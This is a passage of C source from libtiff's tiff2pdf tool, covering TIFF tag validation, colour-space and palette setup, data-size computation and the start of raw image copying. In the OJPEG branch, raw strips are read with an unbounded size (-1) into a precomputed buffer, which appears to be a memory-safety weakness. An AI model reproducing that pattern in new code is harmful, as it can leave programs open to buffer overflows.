TIFFTAG_IMAGELENGTH, &(t2p->tiff_length)); if(t2p->tiff_length == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with zero length", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } if(TIFFGetField(input, TIFFTAG_COMPRESSION, &(t2p->tiff_compression)) == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with no compression tag", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } if( TIFFIsCODECConfigured(t2p->tiff_compression) == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with compression type %u: not configured", TIFFFileName(input), t2p->tiff_compression ); t2p->t2p_error = T2P_ERR_ERROR; return; } TIFFGetFieldDefaulted(input, TIFFTAG_BITSPERSAMPLE, &(t2p->tiff_bitspersample)); switch(t2p->tiff_bitspersample){ case 1: case 2: case 4: case 8: break; case 0: TIFFWarning( TIFF2PDF_MODULE, "Image %s has 0 bits per sample, assuming 1", TIFFFileName(input)); t2p->tiff_bitspersample=1; break; default: TIFFError( TIFF2PDF_MODULE, "No support for %s with %u bits per sample", TIFFFileName(input), t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } TIFFGetFieldDefaulted(input, TIFFTAG_SAMPLESPERPIXEL, &(t2p->tiff_samplesperpixel)); if(t2p->tiff_samplesperpixel>4){ TIFFError( TIFF2PDF_MODULE, "No support for %s with %u samples per pixel", TIFFFileName(input), t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; return; } if(t2p->tiff_samplesperpixel==0){ TIFFWarning( TIFF2PDF_MODULE, "Image %s has 0 samples per pixel, assuming 1", TIFFFileName(input)); t2p->tiff_samplesperpixel=1; } if(TIFFGetField(input, TIFFTAG_SAMPLEFORMAT, &xuint16) != 0 ){ switch(xuint16){ case 0: case 1: case 4: break; default: TIFFError( TIFF2PDF_MODULE, "No support for %s with sample format %u", TIFFFileName(input), xuint16); t2p->t2p_error = T2P_ERR_ERROR; return; break; } } TIFFGetFieldDefaulted(input, TIFFTAG_FILLORDER, &(t2p->tiff_fillorder)); if(TIFFGetField(input, TIFFTAG_PHOTOMETRIC, &(t2p->tiff_photometric)) == 0){ TIFFError( TIFF2PDF_MODULE, "No support for %s with no photometric interpretation tag", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } switch(t2p->tiff_photometric){ case PHOTOMETRIC_MINISWHITE: case PHOTOMETRIC_MINISBLACK: if (t2p->tiff_bitspersample==1){ t2p->pdf_colorspace=T2P_CS_BILEVEL; if(t2p->tiff_photometric==PHOTOMETRIC_MINISWHITE){ t2p->pdf_switchdecode ^= 1; } } else { t2p->pdf_colorspace=T2P_CS_GRAY; if(t2p->tiff_photometric==PHOTOMETRIC_MINISWHITE){ t2p->pdf_switchdecode ^= 1; } } break; case PHOTOMETRIC_RGB: t2p->pdf_colorspace=T2P_CS_RGB; if(t2p->tiff_samplesperpixel == 3){ break; } if(TIFFGetField(input, TIFFTAG_INDEXED, &xuint16)){ if(xuint16==1) goto photometric_palette; } if(t2p->tiff_samplesperpixel > 3) { if(t2p->tiff_samplesperpixel == 4) { t2p->pdf_colorspace = T2P_CS_RGB; if(TIFFGetField(input, TIFFTAG_EXTRASAMPLES, &xuint16, &xuint16p) && xuint16 == 1) { if(xuint16p[0] == EXTRASAMPLE_ASSOCALPHA){ if( t2p->tiff_bitspersample != 8 ) { TIFFError( TIFF2PDF_MODULE, "No support for BitsPerSample=%d for RGBA", t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_sample=T2P_SAMPLE_RGBAA_TO_RGB; break; } if(xuint16p[0] == EXTRASAMPLE_UNASSALPHA){ if( t2p->tiff_bitspersample != 8 ) { TIFFError( TIFF2PDF_MODULE, "No support for BitsPerSample=%d for RGBA", t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_sample=T2P_SAMPLE_RGBA_TO_RGB; break; } TIFFWarning( TIFF2PDF_MODULE, "RGB image %s has 4 samples per pixel, assuming RGBA", TIFFFileName(input)); break; } t2p->pdf_colorspace=T2P_CS_CMYK; t2p->pdf_switchdecode ^= 1; TIFFWarning( TIFF2PDF_MODULE, "RGB image %s has 4 samples per pixel, assuming inverse CMYK", TIFFFileName(input)); break; } else { TIFFError( TIFF2PDF_MODULE, "No support for RGB image %s with %u samples per pixel", TIFFFileName(input), t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; break; } } else { TIFFError( TIFF2PDF_MODULE, "No support for RGB image %s with %u samples per pixel", TIFFFileName(input), t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; break; } case PHOTOMETRIC_PALETTE: photometric_palette: if(t2p->tiff_samplesperpixel!=1){ TIFFError( TIFF2PDF_MODULE, "No support for palettized image %s with not one sample per pixel", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_colorspace=T2P_CS_RGB | T2P_CS_PALETTE; t2p->pdf_palettesize=0x0001<<t2p->tiff_bitspersample; if(!TIFFGetField(input, TIFFTAG_COLORMAP, &r, &g, &b)){ TIFFError( TIFF2PDF_MODULE, "Palettized image %s has no color map", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } if(t2p->pdf_palette != NULL){ _TIFFfree(t2p->pdf_palette); t2p->pdf_palette=NULL; } t2p->pdf_palette = (unsigned char*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,t2p->pdf_palettesize,3)); if(t2p->pdf_palette==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_read_tiff_image, %s", t2p->pdf_palettesize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } for(i=0;i<t2p->pdf_palettesize;i++){ t2p->pdf_palette[(i*3)] = (unsigned char) (r[i]>>8); t2p->pdf_palette[(i*3)+1]= (unsigned char) (g[i]>>8); t2p->pdf_palette[(i*3)+2]= (unsigned char) (b[i]>>8); } t2p->pdf_palettesize *= 3; break; case PHOTOMETRIC_SEPARATED: if(TIFFGetField(input, TIFFTAG_INDEXED, &xuint16)){ if(xuint16==1){ goto photometric_palette_cmyk; } } if( TIFFGetField(input, TIFFTAG_INKSET, &xuint16) ){ if(xuint16 != INKSET_CMYK){ TIFFError( TIFF2PDF_MODULE, "No support for %s because its inkset is not CMYK", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } } if(t2p->tiff_samplesperpixel==4){ t2p->pdf_colorspace=T2P_CS_CMYK; } else { TIFFError( TIFF2PDF_MODULE, "No support for %s because it has %u samples per pixel", TIFFFileName(input), t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; return; } break; photometric_palette_cmyk: if(t2p->tiff_samplesperpixel!=1){ TIFFError( TIFF2PDF_MODULE, "No support for palettized CMYK image %s with not one sample per pixel", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_colorspace=T2P_CS_CMYK | T2P_CS_PALETTE; t2p->pdf_palettesize=0x0001<<t2p->tiff_bitspersample; if(!TIFFGetField(input, TIFFTAG_COLORMAP, &r, &g, &b, &a)){ TIFFError( TIFF2PDF_MODULE, "Palettized image %s has no color map", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } if(t2p->pdf_palette != NULL){ _TIFFfree(t2p->pdf_palette); t2p->pdf_palette=NULL; } t2p->pdf_palette = (unsigned char*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,t2p->pdf_palettesize,4)); if(t2p->pdf_palette==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_read_tiff_image, %s", t2p->pdf_palettesize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } for(i=0;i<t2p->pdf_palettesize;i++){ t2p->pdf_palette[(i*4)] = (unsigned char) (r[i]>>8); t2p->pdf_palette[(i*4)+1]= (unsigned char) (g[i]>>8); t2p->pdf_palette[(i*4)+2]= (unsigned char) (b[i]>>8); t2p->pdf_palette[(i*4)+3]= (unsigned char) (a[i]>>8); } t2p->pdf_palettesize *= 4; break; case PHOTOMETRIC_YCBCR: t2p->pdf_colorspace=T2P_CS_RGB; if(t2p->tiff_samplesperpixel==1){ t2p->pdf_colorspace=T2P_CS_GRAY; t2p->tiff_photometric=PHOTOMETRIC_MINISBLACK; break; } t2p->pdf_sample=T2P_SAMPLE_YCBCR_TO_RGB; #ifdef JPEG_SUPPORT if(t2p->pdf_defaultcompression==T2P_COMPRESS_JPEG){ t2p->pdf_sample=T2P_SAMPLE_NOTHING; } #endif break; case PHOTOMETRIC_CIELAB: if( t2p->tiff_samplesperpixel != 3){ TIFFError( TIFF2PDF_MODULE, "Unsupported samplesperpixel = %d for CIELAB", t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; return; } if( t2p->tiff_bitspersample != 8){ TIFFError( TIFF2PDF_MODULE, "Invalid bitspersample = %d for CIELAB", t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_labrange[0]= -127; t2p->pdf_labrange[1]= 127; t2p->pdf_labrange[2]= -127; t2p->pdf_labrange[3]= 127; t2p->pdf_sample=T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED; t2p->pdf_colorspace=T2P_CS_LAB; break; case PHOTOMETRIC_ICCLAB: t2p->pdf_labrange[0]= 0; t2p->pdf_labrange[1]= 255; t2p->pdf_labrange[2]= 0; t2p->pdf_labrange[3]= 255; t2p->pdf_colorspace=T2P_CS_LAB; break; case PHOTOMETRIC_ITULAB: if( t2p->tiff_samplesperpixel != 3){ TIFFError( TIFF2PDF_MODULE, "Unsupported samplesperpixel = %d for ITULAB", t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; return; } if( t2p->tiff_bitspersample != 8){ TIFFError( TIFF2PDF_MODULE, "Invalid bitspersample = %d for ITULAB", t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_labrange[0]=-85; t2p->pdf_labrange[1]=85; t2p->pdf_labrange[2]=-75; t2p->pdf_labrange[3]=124; t2p->pdf_sample=T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED; t2p->pdf_colorspace=T2P_CS_LAB; break; case PHOTOMETRIC_LOGL: case PHOTOMETRIC_LOGLUV: TIFFError( TIFF2PDF_MODULE, "No support for %s with photometric interpretation LogL/LogLuv", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; default: TIFFError( TIFF2PDF_MODULE, "No support for %s with photometric interpretation %u", TIFFFileName(input), t2p->tiff_photometric); t2p->t2p_error = T2P_ERR_ERROR; return; } if(TIFFGetField(input, TIFFTAG_PLANARCONFIG, &(t2p->tiff_planar))){ switch(t2p->tiff_planar){ case 0: TIFFWarning( TIFF2PDF_MODULE, "Image %s has planar configuration 0, assuming 1", TIFFFileName(input)); t2p->tiff_planar=PLANARCONFIG_CONTIG; case PLANARCONFIG_CONTIG: break; case PLANARCONFIG_SEPARATE: t2p->pdf_sample=T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG; if(t2p->tiff_bitspersample!=8){ TIFFError( TIFF2PDF_MODULE, "No support for %s with separated planar configuration and %u bits per sample", TIFFFileName(input), t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } break; default: TIFFError( TIFF2PDF_MODULE, "No support for %s with planar configuration %u", TIFFFileName(input), t2p->tiff_planar); t2p->t2p_error = T2P_ERR_ERROR; return; } } TIFFGetFieldDefaulted(input, TIFFTAG_ORIENTATION, &(t2p->tiff_orientation)); if(t2p->tiff_orientation>8){ TIFFWarning(TIFF2PDF_MODULE, "Image %s has orientation %u, assuming 0", TIFFFileName(input), t2p->tiff_orientation); t2p->tiff_orientation=0; } if(TIFFGetField(input, TIFFTAG_XRESOLUTION, &(t2p->tiff_xres) ) == 0){ t2p->tiff_xres=0.0; } if(TIFFGetField(input, TIFFTAG_YRESOLUTION, &(t2p->tiff_yres) ) == 0){ t2p->tiff_yres=0.0; } TIFFGetFieldDefaulted(input, TIFFTAG_RESOLUTIONUNIT, &(t2p->tiff_resunit)); if(t2p->tiff_resunit == RESUNIT_CENTIMETER) { t2p->tiff_xres *= 2.54F; t2p->tiff_yres *= 2.54F; } else if (t2p->tiff_resunit != RESUNIT_INCH && t2p->pdf_centimeters != 0) { t2p->tiff_xres *= 2.54F; t2p->tiff_yres *= 2.54F; } t2p_compose_pdf_page(t2p); if( t2p->t2p_error == T2P_ERR_ERROR ) return; t2p->pdf_transcode = T2P_TRANSCODE_ENCODE; if(t2p->pdf_nopassthrough==0){ #ifdef CCITT_SUPPORT if(t2p->tiff_compression==COMPRESSION_CCITTFAX4 ){ if(TIFFIsTiled(input) || (TIFFNumberOfStrips(input)==1) ){ t2p->pdf_transcode = T2P_TRANSCODE_RAW; t2p->pdf_compression=T2P_COMPRESS_G4; } } #endif #ifdef ZIP_SUPPORT if(t2p->tiff_compression== COMPRESSION_ADOBE_DEFLATE || t2p->tiff_compression==COMPRESSION_DEFLATE){ if(TIFFIsTiled(input) || (TIFFNumberOfStrips(input)==1) ){ t2p->pdf_transcode = T2P_TRANSCODE_RAW; t2p->pdf_compression=T2P_COMPRESS_ZIP; } } #endif #ifdef OJPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_OJPEG){ t2p->pdf_transcode = T2P_TRANSCODE_RAW; t2p->pdf_compression=T2P_COMPRESS_JPEG; t2p_process_ojpeg_tables(t2p, input); } #endif #ifdef JPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_JPEG){ t2p->pdf_transcode = T2P_TRANSCODE_RAW; t2p->pdf_compression=T2P_COMPRESS_JPEG; } #endif (void)0; } if(t2p->pdf_transcode!=T2P_TRANSCODE_RAW){ t2p->pdf_compression = t2p->pdf_defaultcompression; } #ifdef JPEG_SUPPORT if(t2p->pdf_defaultcompression==T2P_COMPRESS_JPEG){ if(t2p->pdf_colorspace & T2P_CS_PALETTE){ t2p->pdf_sample|=T2P_SAMPLE_REALIZE_PALETTE; t2p->pdf_colorspace ^= T2P_CS_PALETTE; t2p->tiff_pages[t2p->pdf_page].page_extra--; } } if(t2p->tiff_compression==COMPRESSION_JPEG){ if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){ TIFFError( TIFF2PDF_MODULE, "No support for %s with JPEG compression and separated planar configuration", TIFFFileName(input)); t2p->t2p_error=T2P_ERR_ERROR; return; } } #endif #ifdef OJPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_OJPEG){ if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){ TIFFError( TIFF2PDF_MODULE, "No support for %s with OJPEG compression and separated planar configuration", TIFFFileName(input)); t2p->t2p_error=T2P_ERR_ERROR; return; } } #endif if(t2p->pdf_sample & T2P_SAMPLE_REALIZE_PALETTE){ if(t2p->pdf_colorspace & T2P_CS_CMYK){ t2p->tiff_samplesperpixel=4; t2p->tiff_photometric=PHOTOMETRIC_SEPARATED; } else { t2p->tiff_samplesperpixel=3; t2p->tiff_photometric=PHOTOMETRIC_RGB; } } if (TIFFGetField(input, TIFFTAG_TRANSFERFUNCTION, &(t2p->tiff_transferfunction[0]), &(t2p->tiff_transferfunction[1]), &(t2p->tiff_transferfunction[2]))) { if((t2p->tiff_transferfunction[1] != (float*) NULL) && (t2p->tiff_transferfunction[2] != (float*) NULL) && (t2p->tiff_transferfunction[1] != t2p->tiff_transferfunction[0])) { t2p->tiff_transferfunctioncount=3; } else { t2p->tiff_transferfunctioncount=1; } } else { t2p->tiff_transferfunctioncount=0; } if(TIFFGetField(input, TIFFTAG_WHITEPOINT, &xfloatp)!=0){ t2p->tiff_whitechromaticities[0]=xfloatp[0]; t2p->tiff_whitechromaticities[1]=xfloatp[1]; if(t2p->pdf_colorspace & T2P_CS_GRAY){ t2p->pdf_colorspace |= T2P_CS_CALGRAY; } if(t2p->pdf_colorspace & T2P_CS_RGB){ t2p->pdf_colorspace |= T2P_CS_CALRGB; } } if(TIFFGetField(input, TIFFTAG_PRIMARYCHROMATICITIES, &xfloatp)!=0){ t2p->tiff_primarychromaticities[0]=xfloatp[0]; t2p->tiff_primarychromaticities[1]=xfloatp[1]; t2p->tiff_primarychromaticities[2]=xfloatp[2]; t2p->tiff_primarychromaticities[3]=xfloatp[3]; t2p->tiff_primarychromaticities[4]=xfloatp[4]; t2p->tiff_primarychromaticities[5]=xfloatp[5]; if(t2p->pdf_colorspace & T2P_CS_RGB){ t2p->pdf_colorspace |= T2P_CS_CALRGB; } } if(t2p->pdf_colorspace & T2P_CS_LAB){ if(TIFFGetField(input, TIFFTAG_WHITEPOINT, &xfloatp) != 0){ t2p->tiff_whitechromaticities[0]=xfloatp[0]; t2p->tiff_whitechromaticities[1]=xfloatp[1]; } else { t2p->tiff_whitechromaticities[0]=0.3457F; /* 0.3127F; */ t2p->tiff_whitechromaticities[1]=0.3585F; /* 0.3290F; */ } } if(TIFFGetField(input, TIFFTAG_ICCPROFILE, &(t2p->tiff_iccprofilelength), &(t2p->tiff_iccprofile))!=0){ t2p->pdf_colorspace |= T2P_CS_ICCBASED; } else { t2p->tiff_iccprofilelength=0; t2p->tiff_iccprofile=NULL; } #ifdef CCITT_SUPPORT if( t2p->tiff_bitspersample==1 && t2p->tiff_samplesperpixel==1){ t2p->pdf_compression = T2P_COMPRESS_G4; } #endif return; } /* This function returns the necessary size of a data buffer to contain the raw or uncompressed image data from the input TIFF for a page. */ void t2p_read_tiff_size(T2P* t2p, TIFF* input){ uint64* sbc=NULL; #if defined(JPEG_SUPPORT) || defined (OJPEG_SUPPORT) unsigned char* jpt=NULL; tstrip_t i=0; tstrip_t stripcount=0; #endif uint64 k = 0; if(t2p->pdf_transcode == T2P_TRANSCODE_RAW){ #ifdef CCITT_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_G4 ){ TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc); t2p->tiff_datasize=(tmsize_t)sbc[0]; return; } #endif #ifdef ZIP_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_ZIP){ TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc); t2p->tiff_datasize=(tmsize_t)sbc[0]; return; } #endif #ifdef OJPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_OJPEG){ if(!TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc)){ TIFFError(TIFF2PDF_MODULE, "Input file %s missing field: TIFFTAG_STRIPBYTECOUNTS", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ k = checkAdd64(k, sbc[i], t2p); } if(TIFFGetField(input, TIFFTAG_JPEGIFOFFSET, &(t2p->tiff_dataoffset))){ if(t2p->tiff_dataoffset != 0){ if(TIFFGetField(input, TIFFTAG_JPEGIFBYTECOUNT, &(t2p->tiff_datasize))!=0){ if((uint64)t2p->tiff_datasize < k) { TIFFWarning(TIFF2PDF_MODULE, "Input file %s has short JPEG interchange file byte count", TIFFFileName(input)); t2p->pdf_ojpegiflength=t2p->tiff_datasize; k = checkAdd64(k, t2p->tiff_datasize, t2p); k = checkAdd64(k, 6, t2p); k = checkAdd64(k, stripcount, t2p); k = checkAdd64(k, stripcount, t2p); t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } return; }else { TIFFError(TIFF2PDF_MODULE, "Input file %s missing field: TIFFTAG_JPEGIFBYTECOUNT", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } } } k = checkAdd64(k, stripcount, t2p); k = checkAdd64(k, stripcount, t2p); k = checkAdd64(k, 2048, t2p); t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } #endif #ifdef JPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_JPEG) { uint32 count = 0; if(TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt) != 0 ){ if(count > 4){ k += count; k -= 2; /* don't use EOI of header */ } } else { k = 2; /* SOI for first strip */ } stripcount=TIFFNumberOfStrips(input); if(!TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc)){ TIFFError(TIFF2PDF_MODULE, "Input file %s missing field: TIFFTAG_STRIPBYTECOUNTS", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } for(i=0;i<stripcount;i++){ k = checkAdd64(k, sbc[i], t2p); k -=2; /* don't use EOI of strip */ k +=2; /* add space for restart marker */ } k = checkAdd64(k, 2, t2p); /* use EOI of last strip */ k = checkAdd64(k, 6, t2p); /* for DRI marker of first strip */ t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } #endif (void) 0; } k = checkMultiply64(TIFFScanlineSize(input), t2p->tiff_length, t2p); if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){ k = checkMultiply64(k, t2p->tiff_samplesperpixel, t2p); } if (k == 0) { /* Assume we had overflow inside TIFFScanlineSize */ t2p->t2p_error = T2P_ERR_ERROR; } t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } /* This function returns the necessary size of a data buffer to contain the raw or uncompressed image data from the input TIFF for a tile of a page. */ void t2p_read_tiff_size_tile(T2P* t2p, TIFF* input, ttile_t tile){ uint64* tbc = NULL; uint16 edge=0; #ifdef JPEG_SUPPORT unsigned char* jpt; #endif uint64 k; edge |= t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile); edge |= t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile); if(t2p->pdf_transcode==T2P_TRANSCODE_RAW){ if(edge #if defined(JPEG_SUPPORT) || defined(OJPEG_SUPPORT) && !(t2p->pdf_compression==T2P_COMPRESS_JPEG) #endif ){ t2p->tiff_datasize=TIFFTileSize(input); if (t2p->tiff_datasize == 0) { /* Assume we had overflow inside TIFFTileSize */ t2p->t2p_error = T2P_ERR_ERROR; } return; } else { TIFFGetField(input, TIFFTAG_TILEBYTECOUNTS, &tbc); k=tbc[tile]; #ifdef OJPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_OJPEG){ k = checkAdd64(k, 2048, t2p); } #endif #ifdef JPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_JPEG) { uint32 count = 0; if(TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt)!=0){ if(count > 4){ k = checkAdd64(k, count, t2p); k -= 2; /* don't use EOI of header or SOI of tile */ } } } #endif t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } } k = TIFFTileSize(input); if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){ k = checkMultiply64(k, t2p->tiff_samplesperpixel, t2p); } if (k == 0) { /* Assume we had overflow inside TIFFTileSize */ t2p->t2p_error = T2P_ERR_ERROR; } t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } /* * This functions returns a non-zero value when the tile is on the right edge * and does not have full imaged tile width. */ int t2p_tile_is_right_edge(T2P_TILES tiles, ttile_t tile){ if( ((tile+1) % tiles.tiles_tilecountx == 0) && (tiles.tiles_edgetilewidth != 0) ){ return(1); } else { return(0); } } /* * This functions returns a non-zero value when the tile is on the bottom edge * and does not have full imaged tile length. */ int t2p_tile_is_bottom_edge(T2P_TILES tiles, ttile_t tile){ if( ((tile+1) > (tiles.tiles_tilecount-tiles.tiles_tilecountx) ) && (tiles.tiles_edgetilelength != 0) ){ return(1); } else { return(0); } } /* * This function returns a non-zero value when the tile is a right edge tile * or a bottom edge tile. */ int t2p_tile_is_edge(T2P_TILES tiles, ttile_t tile){ return(t2p_tile_is_right_edge(tiles, tile) | t2p_tile_is_bottom_edge(tiles, tile) ); } /* This function returns a non-zero value when the tile is a right edge tile and a bottom edge tile. */ int t2p_tile_is_corner_edge(T2P_TILES tiles, ttile_t tile){ return(t2p_tile_is_right_edge(tiles, tile) & t2p_tile_is_bottom_edge(tiles, tile) ); } /* This function reads the raster image data from the input TIFF for an image and writes the data to the output PDF XObject image dictionary stream. It returns the amount written or zero on error. */ tsize_t t2p_readwrite_pdf_image(T2P* t2p, TIFF* input, TIFF* output){ tsize_t written=0; unsigned char* buffer=NULL; unsigned char* samplebuffer=NULL; tsize_t bufferoffset=0; tsize_t samplebufferoffset=0; tsize_t read=0; tstrip_t i=0; tstrip_t j=0; tstrip_t stripcount=0; tsize_t stripsize=0; tsize_t sepstripcount=0; tsize_t sepstripsize=0; #ifdef OJPEG_SUPPORT toff_t inputoffset=0; uint16 h_samp=1; uint16 v_samp=1; uint16 ri=1; uint32 rows=0; #endif /* ifdef OJPEG_SUPPORT */ #ifdef JPEG_SUPPORT unsigned char* jpt; float* xfloatp; uint64* sbc; unsigned char* stripbuffer; tsize_t striplength=0; uint32 max_striplength=0; #endif /* ifdef JPEG_SUPPORT */ /* Fail if prior error (in particular, can't trust tiff_datasize) */ if (t2p->t2p_error != T2P_ERR_OK) return(0); if(t2p->pdf_transcode == T2P_TRANSCODE_RAW){ #ifdef CCITT_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_G4){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if (buffer == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for " "t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFReadRawStrip(input, 0, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){ /* * make sure is lsb-to-msb * bit-endianness fill order */ TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif /* ifdef CCITT_SUPPORT */ #ifdef ZIP_SUPPORT if (t2p->pdf_compression == T2P_COMPRESS_ZIP) { buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer == NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); TIFFReadRawStrip(input, 0, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB) { TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif /* ifdef ZIP_SUPPORT */ #ifdef OJPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_OJPEG) { if(t2p->tiff_dataoffset != 0) { buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); if(t2p->pdf_ojpegiflength==0){ inputoffset=t2pSeekFile(input, 0, SEEK_CUR); t2pSeekFile(input, t2p->tiff_dataoffset, SEEK_SET); t2pReadFile(input, (tdata_t) buffer, t2p->tiff_datasize); t2pSeekFile(input, inputoffset, SEEK_SET); t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } else { inputoffset=t2pSeekFile(input, 0, SEEK_CUR); t2pSeekFile(input, t2p->tiff_dataoffset, SEEK_SET); bufferoffset = t2pReadFile(input, (tdata_t) buffer, t2p->pdf_ojpegiflength); t2p->pdf_ojpegiflength = 0; t2pSeekFile(input, inputoffset, SEEK_SET); TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &h_samp, &v_samp); buffer[bufferoffset++]= 0xff; buffer[bufferoffset++]= 0xdd; buffer[bufferoffset++]= 0x00; buffer[bufferoffset++]= 0x04; h_samp*=8; v_samp*=8; ri=(t2p->tiff_width+h_samp-1) / h_samp; TIFFGetField(input, TIFFTAG_ROWSPERSTRIP, &rows); ri*=(rows+v_samp-1)/v_samp; buffer[bufferoffset++]= (ri>>8) & 0xff; buffer[bufferoffset++]= ri & 0xff; stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ if(i != 0 ){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=(0xd0 | ((i-1)%8)); } bufferoffset+=TIFFReadRawStrip(input, i, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); } t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); } } else { if(! t2p->pdf_ojpegdata){ TIFFError(TIFF2PDF_MODULE, "No support for OJPEG image %s with bad tables", TIFFFileName(input)); 